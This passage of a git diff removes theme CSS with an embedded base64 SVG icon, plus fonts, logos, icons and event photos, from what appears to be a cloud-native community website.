uMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzCWMwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMglDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5Yy0wLjcxOSwwLjc2OS0xLjQ1NywxLjUwOC0yLjE5NiwyLjI0OAljLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOGMxLjAwNywwLjI4OCwyLjAwNCwwLjU2NywzLjAwMSwwLjg5M2wwLjM1NSwwLjExNQljMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTMyLjExOSwxOS44MzVsLTAuMjU5LDAuMjc5CWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMmMwLjY1MiwwLjE2MywxLjMwNCwwLjMzNiwxLjk1NiwwLjUyOAljMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OEMzMy41MTksMjIuOTk2LDMzLjAxMSwyMS4yODYsMzIuMTE5LDE5LjgzNXogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NWMwLjEzNCwxLjAzNywwLjIzLDIuMDg1LDAuMzI2LDMuMTIyYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjMJYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOThjMC4zMjYtMC4yNCwwLjY2Mi0wLjQ4LDEuMDA3LTAuNzExYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyCUMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjIJYzAuMDM4LDAuNDEzLDAuMDc3LDAuODE3LDAuMTA1LDEuMjNjMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTEJYzAuODYzLTAuNTg2LDEuNzE2LTEuMTcyLDIuNTk4LTEuNzM5bDAuMzI2LTAuMjAyQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OQljLTAuNzE5LDAuNzY5LTEuNDU3LDEuNTA4LTIuMTk2LDIuMjQ4Yy0wLjQ3LDAuNDgtMC45NzgsMC45NDEtMS40NjcsMS40MTJjMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjgJYzEuMDA3LDAuMjg4LDIuMDA0LDAuNTY3LDMuMDAxLDAuODkzbDAuMzU1LDAuMTE1YzAuMDEtMC4xNTQsMC4wMS0wLjMxNywwLjAxLTAuNDhDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0zMi4xMTksMTkuODM1bC0wLjI1OSwwLjI3OWMtMC43MTksMC43NjktMS40NTcsMS41MDgtMi4xOTYsMi4yNDhjLTAuNDcsMC40OC0wLjk3OCwwLjk0MS0xLjQ2NywxLjQxMgljMC42NTIsMC4xNjMsMS4zMDQsMC4zMzYsMS45NTYsMC41MjhjMS4wMDcsMC4yODgsMi4wMDQsMC41NjcsMy4wMDEsMC44OTNsMC4zNTUsMC4xMTVjMC4wMS0wLjE1NCwwLjAxLTAuMzE3LDAuMDEtMC40OAlDMzMuNTE5LDIyLjk5NiwzMy4wMTEsMjEuMjg2LDMyLjExOSwxOS44MzV6IE0yNS4zMTIsMTUuMzNsMC4wNDgsMC4zNzVjMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMgljMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yM2MwLjAxOSwwLjMxNywwLjM3NCwwLjQ4LDAuNjMzLDAuMjk4YzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMQljMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDJDMjguOTg0LDE2LjQ1NCwyNy4yMzksMTUuNTk5LDI1LjMxMiwxNS4zM3ogTTI1LjMxMiwxNS4zM2wwLjA0OCwwLjM3NQljMC4xMzQsMS4wMzcsMC4yMywyLjA4NSwwLjMyNiwzLjEyMmMwLjAzOCwwLjQxMywwLjA3NywwLjgxNywwLjEwNSwxLjIzYzAuMDE5LDAuMzE3LDAuMzc0LDAuNDgsMC42MzMsMC4yOTgJYzAuMzI2LTAuMjQsMC42NjItMC40OCwxLjAwNy0wLjcxMWMwLjg2My0wLjU4NiwxLjcxNi0xLjE3MiwyLjU5OC0xLjczOWwwLjMyNi0wLjIwMkMyOC45ODQsMTYuNDU0LDI3LjIzOSwxNS41OTksMjUuMzEyLDE1LjMzeiBNMjUuMzEyLDE1LjMzbDAuMDQ4LDAuMzc1YzAuMTM0LDEuMDM3LDAuMjMsMi4wODUsMC4zMjYsMy4xMjJjMC4wMzgsMC40MTMsMC4wNzcsMC44MTcsMC4xMDUsMS4yMwljMC4wMTksMC4zMTcsMC4zNzQsMC40OCwwLjYzMywwLjI5OGMwLjMyNi0wLjI0LDAuNjYyLTAuNDgsMS4wMDctMC43MTFjMC44NjMtMC41ODYsMS43MTYtMS4xNzIsMi41OTgtMS43MzlsMC4zMjYtMC4yMDIJQzI4Ljk4NCwxNi40NTQsMjcuMjM5LDE1LjU5OSwyNS4zMTIsMTUuMzN6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTEyLjkzMywyOC4yMzFjLTAuMjIxLDAuMDE5LTAuNDMxLDAuMDE5LTAuNjgxLTAuMTA2Yy0wLjI5Ny0wLjEyNS0wLjU3NS0wLjIwMi0wLjgyNS0wLjExNQljLTAuMjU5LDAuMDQ4LTAuNTA4LDAuMTE1LTAuNzU3LDAuMTkyYy0wLjQ5OSwwLjE2My0wLjk4OCwwLjM0Ni0xLjQ0OCwwLjY3MmMtMC40NywwLjMzNi0xLjEyMiwwLjIyMS0xLjQ1Ny0wLjI1CWMtMC4zMjYtMC40NzEtMC4yMjEtMS4xMjQsMC4yNDktMS40NTFjMC4yNC0wLjE3MywwLjUzNy0wLjIzMSwwLjgwNS0wLjE4M2MwLjU0NywwLjExNSwxLjA3NCwwLjA3NywxLjU5MiwwLjAxCWMwLjI1OS0wLjAyOSwwLjUxOC0wLjA3NywwLjc2Ny0wLjE0NGMwLjI1OS0wLjAxOSwwLjQ4OS0wLjIxMSwwLjctMC40NTFjMC4xODItMC4yMTEsMC4zOTMtMC4yOTgsMC42MDQtMC4zNzUJQzEyLjU2OSwyNi43ODEsMTIuNzEzLDI3LjUyLDEyLjkzMywyOC4yMzF6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTIwLjA1NywzNS42ODZjLTAuMTE1LDAuMjExLTAuMjQ5LDAuNDAzLTAuNTE4LDAuNTQ4Yy0wLjI3OCwwLjE1NC0wLjUwOCwwLjMzNi0wLjU5NCwwLjU4NgljLTAuMTE1LDAuMjMxLTAuMjIxLDAuNDcxLTAuMzA3LDAuNzExYy0wLjE3MywwLjUtMC4zMjYsMC45OTktMC4zMzYsMS41NjZjLTAuMDE5LDAuNTc2LTAuNTA4LDEuMDI4LTEuMDgzLDEuMDA5CWMtMC41NzUtMC4wMTktMS4wMjYtMC40OTktMS4wMDctMS4wNzZjMC4wMS0wLjI5OCwwLjE0NC0wLjU1NywwLjM0NS0wLjc0YzAuNDIyLTAuMzg0LDAuNzEtMC44MjYsMC45NzgtMS4yNjgJYzAuMTI1LTAuMjMxLDAuMjQtMC40NjEsMC4zNDUtMC43MDFjMC4xMzQtMC4yMjEsMC4xMjUtMC41MTksMC4wNjctMC44MzZjLTAuMDY3LTAuMjk4LDAtMC41MzgsMC4wNzctMC43NTkJQzE4LjY2NywzNS4xMSwxOS4zNDgsMzUuNDM2LDIwLjA1NywzNS42ODZ6Ij48L3BhdGg+PHBhdGggZmlsbD0ibm9uZSIgZD0iTTMxLjQzOCwzOS43ODhjLTAuMzkzLDAuNDIzLTEuMDQ1LDAuNDUxLTEuNDc3LDAuMDY3Yy0wLjIyMS0wLjIwMi0wLjMzNi0wLjQ3MS0wLjMzNi0wLjc0OQljLTAuMDE5LTAuNTY3LTAuMTYzLTEuMDY2LTAuMzM2LTEuNTY2Yy0wLjA4Ni0wLjI0LTAuMTgyLTAuNDgtMC4yOTctMC43MmMtMC4wODYtMC4yNS0wLjMxNi0wLjQyMy0wLjU5NS0wLjU4NgljLTAuMjY4LTAuMTQ0LTAuNDAzLTAuMzQ2LTAuNTM3LTAuNTY3YzAuNzE5LTAuMjU5LDEuNDA5LTAuNTk2LDIuMDUyLTAuOTg5djAuMDFjMC4wNzcsMC4yNSwwLjE2MywwLjQ5LDAuMDg2LDAuODE3CWMtMC4wNjcsMC4zMTctMC4wNzcsMC42MDUsMC4wNTgsMC44MzZjMC4xMDUsMC4yMzEsMC4yMjEsMC40NzEsMC4zNDUsMC42OTJjMC4yNTksMC40NTEsMC41NDcsMC45MDMsMC45NjgsMS4yNzgJQzMxLjc5MywzOC43MDIsMzEuODIyLDM5LjM1NiwzMS40MzgsMzkuNzg4eiI+PC9wYXRoPjxwYXRoIGZpbGw9Im5vbmUiIGQ9Ik0zOS42NDYsMjguODQ2Yy0wLjI4OCwwLjA2Ny0wLjU3NSwwLTAuODA1LTAuMTQ0Yy0wLjQ3LTAuMzE3LTAuOTY4LTAuNDktMS40NjctMC42MzQJYy0wLjI0OS0wLjA2Ny0wLjUwOC0wLjEyNS0wLjc1Ny0wLjE2M2MtMC4yNDktMC4wNzctMC41MzcsMC0wLjgyNSwwLjEzNGMtMC4yODgsMC4xNjMtMC41NDcsMC4xMzUtMC44MTUsMC4xMTVoLTAuMDI5CWMwLjIyMS0wLjcyLDAuMzY0LTEuNDcsMC40NDEtMi4yMzhoMC4wMWMwLjI0OSwwLjA3NywwLjQ5OSwwLjE0NCwwLjcxOSwwLjQwM2MwLjIyMSwwLjIzMSwwLjQ1MSwwLjQwMywwLjcxLDAuNDIzCWMwLjI1OSwwLjA1OCwwLjUwOCwwLjA5NiwwLjc2NywwLjEyNWMwLjUyNywwLjA0OCwxLjA0NSwwLjA2NywxLjYwMS0wLjA1OGMwLjU2Ni0wLjEyNSwxLjEyMiwwLjIzMSwxLjI0NiwwLjc5NwlDNDAuNTY2LDI4LjE2NCw0MC4yMTEsMjguNzIxLDM5LjY0NiwyOC44NDZ6Ij48L3BhdGg+Cjwvc3ZnPg==") 50% 50% no-repeat;background-size:100%}:root{--font-family: 'Inter', sans-serif;--font-family-brand: 'Times', serif;--font-family-code: 'Menlo', monospace;--background: #ffffff;--color: #355265;--color2: #274457;--color3: #476d86;--color-anchor: #328ac1;--color-hover: #4b9dd0;--background-fg: #f7f7f7;--background-fg2: #ebebeb;--border-color: #dddddd;--box-shadow: 0 0 1px rgba(0, 0, 0, .7);--box-shadow2: 0 0 3px rgba(0, 0, 0, .2);--blur: 10px;--home-cover-background: radial-gradient(circle, rgba(255,255,255,1) 0%, rgba(255,255,250,1) 25%, rgba(214,219,220,1) 50%, rgba(255,255,250,1) 75%, rgba(255,255,255,1) 100%);--icon-filter: invert(41%) sepia(19%) saturate(840%) hue-rotate(161deg) brightness(92%) contrast(92%);--chroma-base00: #f9f9f9;--chroma-base01: #e0e0e0;--chroma-base02: rgba(159, 218, 159, .2);--chroma-base03: #8e908c;--chroma-base04: #969896;--chroma-base05: #4d4d4c;--chroma-base06: #282a2e;--chroma-base07: #1d1f21;--chroma-base08: #c82829;--chroma-base09: #f5871f;--chroma-base0A: #eab700;--chroma-base0B: #718c00;--chroma-base0C: #3e999f;--chroma-base0D: #4271ae;--chroma-base0E: #8959a8;--chroma-base0F: #a3685a}:root[data-color="dark"]{--background: #121212;--color: #efefef;--color2: #ffffff;--color3: #b3b3b3;--background-fg: #333333;--background-fg2: #1f1f1f;--border-color: rgba(255, 255, 255, .4);--box-shadow: 0 0 1px rgba(255, 255, 255, 1);--box-shadow2: 0 0 3px rgba(255, 255, 255, .6);--home-cover-background: radial-gradient(circle, rgba(23,23,25,1) 0%, rgba(18,18,0,1) 25%, rgba(32,32,32,1) 50%, rgba(18,18,0,1) 75%, rgba(23,23,25,1) 100%);--icon-filter: invert(83%) sepia(0%) saturate(1582%) hue-rotate(126deg) brightness(86%) contrast(80%);--chroma-base00: #080808;--chroma-base01: #393939;--chroma-base02: rgba(159, 218, 159, .1);--chroma-base03: #999999;--chroma-base04: #b4b7b4;--chroma-base05: #cccccc;--chroma-base06: #e0e0e0;--chroma-base07: #ffffff;--chroma-base08: #f2777a;--chroma-base09: #f99157;--chroma-base0A: #ffcc66;--chroma-base0B: #99cc99;--chroma-base0C: #66cccc;--chroma-base0D: #6699cc;--chroma-base0E: #cc99cc;--chroma-base0F: #a3685a}:root[data-color="night"]{--background: #333333;--color: #cccccc;--color2: #dedede;--color3: #9d9d9d;--background-fg: #444444;--background-fg2: #303030;--border-color: rgba(255, 255, 255, 0.2);--box-shadow: 0 0 1px rgba(225, 255, 255, 1);--box-shadow2: 0 0 3px rgba(255, 255, 255, .6);--home-cover-background: radial-gradient(circle, rgba(52,52,52,1) 0%, rgba(42,42,42,1) 25%, rgba(57,57,57,1) 50%, rgba(42,42,42,1) 75%, rgba(52,52,52,1) 100%);--icon-filter: invert(60%) sepia(25%) saturate(20%) hue-rotate(343deg) brightness(98%) contrast(94%);--chroma-base00: #1e1e1e;--chroma-base01: #323537;--chroma-base02: rgba(159, 218, 159, .1);--chroma-base03: #5f5a60;--chroma-base04: #838184;--chroma-base05: #a7a7a7;--chroma-base06: #c3c3c3;--chroma-base07: #ffffff;--chroma-base08: #cf6a4c;--chroma-base09: #cda869;--chroma-base0A: #f9ee98;--chroma-base0B: #8f9d6a;--chroma-base0C: #afc4db;--chroma-base0D: #7587a6;--chroma-base0E: #9b859d;--chroma-base0F: #9b703f}.icon:not(.icon-colored){filter:var(--icon-filter)} - -/*# sourceMappingURL=default.css.map */ \ No newline at end of file diff --git a/resources/_gen/assets/scss/scss/theme/default.scss_7724f67189cff0c6ae476b070cf609b9.json b/resources/_gen/assets/scss/scss/theme/default.scss_7724f67189cff0c6ae476b070cf609b9.json deleted file mode 100644 index f9a48ed..0000000 --- a/resources/_gen/assets/scss/scss/theme/default.scss_7724f67189cff0c6ae476b070cf609b9.json +++ /dev/null @@ -1 +0,0 @@ -{"Target":"scss/theme/default.css","MediaType":"text/css","Data":{}} \ No newline at end of file diff --git a/static/.DS_Store b/static/.DS_Store deleted file mode 100644 index 940e942..0000000 Binary files a/static/.DS_Store and /dev/null differ diff --git a/static/font/Inter-Italic.woff b/static/font/Inter-Italic.woff deleted file mode 100644 index a806b38..0000000 Binary files a/static/font/Inter-Italic.woff and /dev/null differ diff --git a/static/font/Inter-Italic.woff2 b/static/font/Inter-Italic.woff2 deleted file mode 100644 index a619fc5..0000000 Binary files a/static/font/Inter-Italic.woff2 and /dev/null differ diff --git a/static/font/Inter-Regular.woff b/static/font/Inter-Regular.woff deleted file mode 100644 index 62d3a61..0000000 Binary files a/static/font/Inter-Regular.woff and /dev/null differ diff --git a/static/font/Inter-Regular.woff2 b/static/font/Inter-Regular.woff2 deleted file mode 100644 index 6c2b689..0000000 Binary files a/static/font/Inter-Regular.woff2 and /dev/null differ diff --git a/static/font/Inter-SemiBold.woff b/static/font/Inter-SemiBold.woff deleted file mode 100644 index a815f43..0000000 Binary files a/static/font/Inter-SemiBold.woff and /dev/null differ diff --git a/static/font/Inter-SemiBold.woff2 b/static/font/Inter-SemiBold.woff2 deleted file mode 100644 index 611e90c..0000000 Binary files a/static/font/Inter-SemiBold.woff2 and /dev/null differ diff --git a/static/img/.DS_Store b/static/img/.DS_Store deleted file mode 100644 index deec17f..0000000 Binary files a/static/img/.DS_Store and /dev/null differ diff --git a/static/img/icon/3.png b/static/img/icon/3.png deleted file mode 100644 index c0546dd..0000000 Binary files a/static/img/icon/3.png and /dev/null differ diff --git a/static/img/icon/Cloudnativefolks-Community-Logo-D7.png b/static/img/icon/Cloudnativefolks-Community-Logo-D7.png deleted file mode 100644 index b1cc5ab..0000000 Binary files a/static/img/icon/Cloudnativefolks-Community-Logo-D7.png and /dev/null differ diff --git a/static/img/icon/Linux Collective-2.png b/static/img/icon/Linux Collective-2.png deleted file mode 100644 index 0ce9256..0000000 Binary files a/static/img/icon/Linux Collective-2.png and /dev/null differ diff --git a/static/img/icon/Linux Collective.png b/static/img/icon/Linux Collective.png deleted file mode 100644 index 4686f82..0000000 Binary files a/static/img/icon/Linux Collective.png and /dev/null differ diff --git a/static/img/icon/button.png b/static/img/icon/button.png deleted file mode 100644 index 8fd958b..0000000 Binary files a/static/img/icon/button.png and /dev/null differ diff --git a/static/img/icon/favicon.ico b/static/img/icon/favicon.ico deleted file mode 100644 index 4f47bdc..0000000 Binary files a/static/img/icon/favicon.ico and /dev/null differ diff --git a/static/img/icon/icon-16.png b/static/img/icon/icon-16.png deleted file mode 100644 index c55011a..0000000 Binary files a/static/img/icon/icon-16.png and /dev/null differ diff --git a/static/img/icon/icon-180.png b/static/img/icon/icon-180.png deleted file mode 100644 index 694fd85..0000000 Binary files a/static/img/icon/icon-180.png and /dev/null differ diff --git a/static/img/icon/icon-192.png b/static/img/icon/icon-192.png deleted file mode 100644 index a47b1d8..0000000 Binary files a/static/img/icon/icon-192.png and /dev/null differ diff --git a/static/img/icon/icon-32.png b/static/img/icon/icon-32.png deleted file mode 100644 index afaee33..0000000 Binary files a/static/img/icon/icon-32.png and /dev/null differ diff --git a/static/img/icon/icon-512.png b/static/img/icon/icon-512.png deleted file mode 100644 index d69620b..0000000 Binary files a/static/img/icon/icon-512.png and /dev/null differ diff --git a/static/img/icon/icon-vector.svg b/static/img/icon/icon-vector.svg deleted file mode 100644 index fc8a34c..0000000 --- a/static/img/icon/icon-vector.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/static/img/icon/level-Layers-Abstraction.png b/static/img/icon/level-Layers-Abstraction.png deleted file mode 100644 index 7c18108..0000000 Binary files a/static/img/icon/level-Layers-Abstraction.png and /dev/null differ diff --git a/static/img/icon/linux-components.png b/static/img/icon/linux-components.png deleted file mode 100644 index 250a5c8..0000000 Binary files a/static/img/icon/linux-components.png and /dev/null differ diff --git a/static/img/icon/linux-subsystem.png b/static/img/icon/linux-subsystem.png deleted file mode 100644 index 0aabc18..0000000 Binary files a/static/img/icon/linux-subsystem.png and /dev/null differ diff --git a/static/img/icon/linux-subsytem.png b/static/img/icon/linux-subsytem.png deleted file mode 100644 index 0114619..0000000 Binary files a/static/img/icon/linux-subsytem.png and /dev/null differ diff --git a/static/img/icon/maskable-icon-192.png b/static/img/icon/maskable-icon-192.png deleted file mode 100644 index c9f099c..0000000 Binary files a/static/img/icon/maskable-icon-192.png and /dev/null differ diff --git a/static/img/icon/maskable-icon-512.png b/static/img/icon/maskable-icon-512.png deleted file mode 100644 index 281dae9..0000000 Binary files a/static/img/icon/maskable-icon-512.png and /dev/null differ diff --git a/static/img/icon/mono-micro-os.png b/static/img/icon/mono-micro-os.png deleted file mode 100644 index 20a2019..0000000 Binary files a/static/img/icon/mono-micro-os.png and /dev/null differ diff --git a/static/img/logos/1.png b/static/img/logos/1.png deleted file mode 100644 index f183e74..0000000 Binary files a/static/img/logos/1.png and /dev/null differ diff --git a/static/img/logos/2.png b/static/img/logos/2.png deleted file mode 100644 index e004829..0000000 Binary files a/static/img/logos/2.png and /dev/null differ diff --git a/static/img/logos/3.png b/static/img/logos/3.png deleted file mode 100644 index ff0b3b4..0000000 Binary files a/static/img/logos/3.png and /dev/null differ diff --git a/static/img/logos/Cloudnativefolks-Community-Logo-D5.png b/static/img/logos/Cloudnativefolks-Community-Logo-D5.png deleted file mode 100644 index 592f59b..0000000 Binary files a/static/img/logos/Cloudnativefolks-Community-Logo-D5.png and /dev/null differ diff --git a/static/img/logos/Cloudnativefolks-Community-Logo-D7 2.png b/static/img/logos/Cloudnativefolks-Community-Logo-D7 2.png deleted file mode 100644 index b1cc5ab..0000000 Binary files a/static/img/logos/Cloudnativefolks-Community-Logo-D7 2.png and /dev/null differ diff --git a/static/img/logos/Cloudnativefolks-Community-Logo-D7.png b/static/img/logos/Cloudnativefolks-Community-Logo-D7.png deleted file mode 100644 index b1cc5ab..0000000 Binary files a/static/img/logos/Cloudnativefolks-Community-Logo-D7.png and /dev/null differ diff --git a/static/img/logos/Cloudnativefolks-Community-Logo.png b/static/img/logos/Cloudnativefolks-Community-Logo.png deleted file mode 100644 index 6419724..0000000 Binary files a/static/img/logos/Cloudnativefolks-Community-Logo.png and /dev/null differ diff --git a/static/img/logos/KubeDaily-1.png b/static/img/logos/KubeDaily-1.png deleted file mode 100755 index 6248ccb..0000000 Binary files a/static/img/logos/KubeDaily-1.png and /dev/null differ diff --git a/static/img/logos/KubeDaily-2.png b/static/img/logos/KubeDaily-2.png deleted file mode 100755 index 202179b..0000000 Binary files a/static/img/logos/KubeDaily-2.png and /dev/null differ diff --git a/static/img/logos/KubeDaily-3.png b/static/img/logos/KubeDaily-3.png deleted file mode 100755 index 1abdada..0000000 Binary files a/static/img/logos/KubeDaily-3.png and /dev/null differ diff --git a/static/img/logos/KubeDaily-4.png b/static/img/logos/KubeDaily-4.png deleted file mode 100755 index 032a3a8..0000000 Binary files a/static/img/logos/KubeDaily-4.png and /dev/null differ diff --git a/static/img/logos/KubeDaily.jpg b/static/img/logos/KubeDaily.jpg deleted file mode 100755 index ef716e4..0000000 Binary files a/static/img/logos/KubeDaily.jpg and /dev/null differ diff --git a/static/img/logos/Profile Pic.png b/static/img/logos/Profile Pic.png deleted file mode 100644 index 81b5781..0000000 Binary files a/static/img/logos/Profile Pic.png and /dev/null differ diff --git a/static/img/logos/kubernetes-icon-color.svg b/static/img/logos/kubernetes-icon-color.svg deleted file mode 100644 index 3d0e49b..0000000 --- a/static/img/logos/kubernetes-icon-color.svg +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/static/img/logos/profile-pic-2.png b/static/img/logos/profile-pic-2.png deleted file mode 100644 index b8bc081..0000000 Binary files a/static/img/logos/profile-pic-2.png and /dev/null differ diff --git a/static/img/logos/profile-pic-3.png b/static/img/logos/profile-pic-3.png deleted file mode 100644 index e799fe8..0000000 Binary files a/static/img/logos/profile-pic-3.png and /dev/null differ diff --git a/static/img/logos/profile-pic-4.png b/static/img/logos/profile-pic-4.png deleted file mode 100644 index e735671..0000000 Binary files a/static/img/logos/profile-pic-4.png and /dev/null differ diff --git a/static/img/logos/profile-pic.png b/static/img/logos/profile-pic.png deleted file mode 100644 index 44e847d..0000000 Binary files a/static/img/logos/profile-pic.png and /dev/null differ diff --git a/static/img/slider/20230528_113027.jpg b/static/img/slider/20230528_113027.jpg deleted file mode 100644 index c12e2a8..0000000 Binary files a/static/img/slider/20230528_113027.jpg and /dev/null differ diff --git a/static/img/slider/CNCF-Thane.jpg b/static/img/slider/CNCF-Thane.jpg deleted file mode 100644 index 0454247..0000000 Binary files a/static/img/slider/CNCF-Thane.jpg and /dev/null differ diff --git a/static/img/slider/CSA-Banglore-2023.jpg b/static/img/slider/CSA-Banglore-2023.jpg deleted file mode 100644 index 05ac02a..0000000 Binary files a/static/img/slider/CSA-Banglore-2023.jpg and /dev/null differ diff --git a/static/img/slider/Citrix-R&D.jpg b/static/img/slider/Citrix-R&D.jpg deleted file mode 100644 index 6f4739f..0000000 Binary files a/static/img/slider/Citrix-R&D.jpg and /dev/null differ diff --git a/static/img/slider/DellEMC.jpg b/static/img/slider/DellEMC.jpg deleted file mode 100644 index f0beca3..0000000 Binary files a/static/img/slider/DellEMC.jpg and /dev/null differ diff --git a/static/img/slider/DevRel-Docker_2016.jpg b/static/img/slider/DevRel-Docker_2016.jpg deleted file mode 100644 index 81d9e8d..0000000 Binary files a/static/img/slider/DevRel-Docker_2016.jpg and /dev/null differ diff --git a/static/img/slider/Docker-9th-birthday.JPG b/static/img/slider/Docker-9th-birthday.JPG deleted file mode 100644 index f2d9db1..0000000 Binary files a/static/img/slider/Docker-9th-birthday.JPG and /dev/null differ diff --git a/static/img/slider/Docker-Extension.JPG b/static/img/slider/Docker-Extension.JPG deleted file mode 100644 index e7b0f85..0000000 Binary files a/static/img/slider/Docker-Extension.JPG and /dev/null differ diff --git a/static/img/slider/Docker-Pune-2018.jpg b/static/img/slider/Docker-Pune-2018.jpg deleted file mode 100644 index 9d535fb..0000000 Binary files a/static/img/slider/Docker-Pune-2018.jpg and /dev/null differ diff --git a/static/img/slider/Docker-Pune-2023.jpg b/static/img/slider/Docker-Pune-2023.jpg deleted file mode 100644 index 65dfba5..0000000 Binary files a/static/img/slider/Docker-Pune-2023.jpg and /dev/null differ diff --git a/static/img/slider/GPS-Docker.jpg b/static/img/slider/GPS-Docker.jpg deleted file mode 100644 index 74af107..0000000 Binary files a/static/img/slider/GPS-Docker.jpg and /dev/null differ diff --git a/static/img/slider/IMG-20180428-WA0003-2.jpg b/static/img/slider/IMG-20180428-WA0003-2.jpg deleted file mode 100644 index 43f70ae..0000000 Binary files a/static/img/slider/IMG-20180428-WA0003-2.jpg and /dev/null differ diff --git a/static/img/slider/IMG-20200529-WA0005.jpg b/static/img/slider/IMG-20200529-WA0005.jpg deleted file mode 100644 index 89ced84..0000000 Binary files a/static/img/slider/IMG-20200529-WA0005.jpg and /dev/null differ diff --git a/static/img/slider/IMG_7612.JPG b/static/img/slider/IMG_7612.JPG deleted file mode 100644 index dec2293..0000000 Binary files a/static/img/slider/IMG_7612.JPG and /dev/null differ diff --git a/static/img/slider/JFROG_K8s.jpg b/static/img/slider/JFROG_K8s.jpg deleted file mode 100644 index ef57e3d..0000000 Binary files a/static/img/slider/JFROG_K8s.jpg and /dev/null differ diff --git a/static/img/slider/Jfrog.jpg b/static/img/slider/Jfrog.jpg deleted file mode 100644 index cb08156..0000000 Binary files a/static/img/slider/Jfrog.jpg and /dev/null differ diff --git a/static/img/slider/KL_University.JPG b/static/img/slider/KL_University.JPG deleted file mode 100644 index a9118e9..0000000 Binary files a/static/img/slider/KL_University.JPG and /dev/null differ diff --git a/static/img/slider/Rakuten.JPG b/static/img/slider/Rakuten.JPG deleted file mode 100644 index 718c5e6..0000000 Binary files a/static/img/slider/Rakuten.JPG and /dev/null differ diff --git a/static/img/slider/Rancher.jpg b/static/img/slider/Rancher.jpg deleted file mode 100644 index fd933f6..0000000 Binary files a/static/img/slider/Rancher.jpg and /dev/null differ diff --git a/static/img/slider/SAPLAB1.jpg b/static/img/slider/SAPLAB1.jpg deleted file mode 100644 index 0f64c80..0000000 Binary files a/static/img/slider/SAPLAB1.jpg and /dev/null differ diff --git a/static/img/slider/SAPLAB2020-team.jpg b/static/img/slider/SAPLAB2020-team.jpg deleted file mode 100644 index bb5dffd..0000000 Binary files a/static/img/slider/SAPLAB2020-team.jpg and /dev/null differ diff --git a/static/img/slider/SAP_LAB_AWARD.jpg b/static/img/slider/SAP_LAB_AWARD.jpg deleted file mode 100644 index 7a3470a..0000000 Binary files a/static/img/slider/SAP_LAB_AWARD.jpg and /dev/null differ diff --git a/static/img/slider/SAP_LAB_KO_google.jpg b/static/img/slider/SAP_LAB_KO_google.jpg deleted file mode 100644 index 55ccff8..0000000 Binary files a/static/img/slider/SAP_LAB_KO_google.jpg and /dev/null differ diff --git a/static/img/slider/VISA.jpg b/static/img/slider/VISA.jpg deleted file mode 100644 index 005dc8a..0000000 Binary files a/static/img/slider/VISA.jpg and /dev/null differ diff --git a/static/img/slider/brainanalaytics.jpg b/static/img/slider/brainanalaytics.jpg deleted file mode 100644 index a34a0ff..0000000 Binary files a/static/img/slider/brainanalaytics.jpg and /dev/null differ diff --git a/static/img/slider/docker-on-aws-gps2017.jpg b/static/img/slider/docker-on-aws-gps2017.jpg deleted file mode 100644 index 9a23fc4..0000000 Binary files a/static/img/slider/docker-on-aws-gps2017.jpg and /dev/null differ diff --git a/static/img/slider/k8s-forum-blr-2020.jpg b/static/img/slider/k8s-forum-blr-2020.jpg deleted file mode 100644 index 0dfa308..0000000 Binary files a/static/img/slider/k8s-forum-blr-2020.jpg and /dev/null differ diff --git a/static/img/slider/mayadata.jpg b/static/img/slider/mayadata.jpg deleted file mode 100644 index 24d6460..0000000 Binary files a/static/img/slider/mayadata.jpg and /dev/null differ diff --git 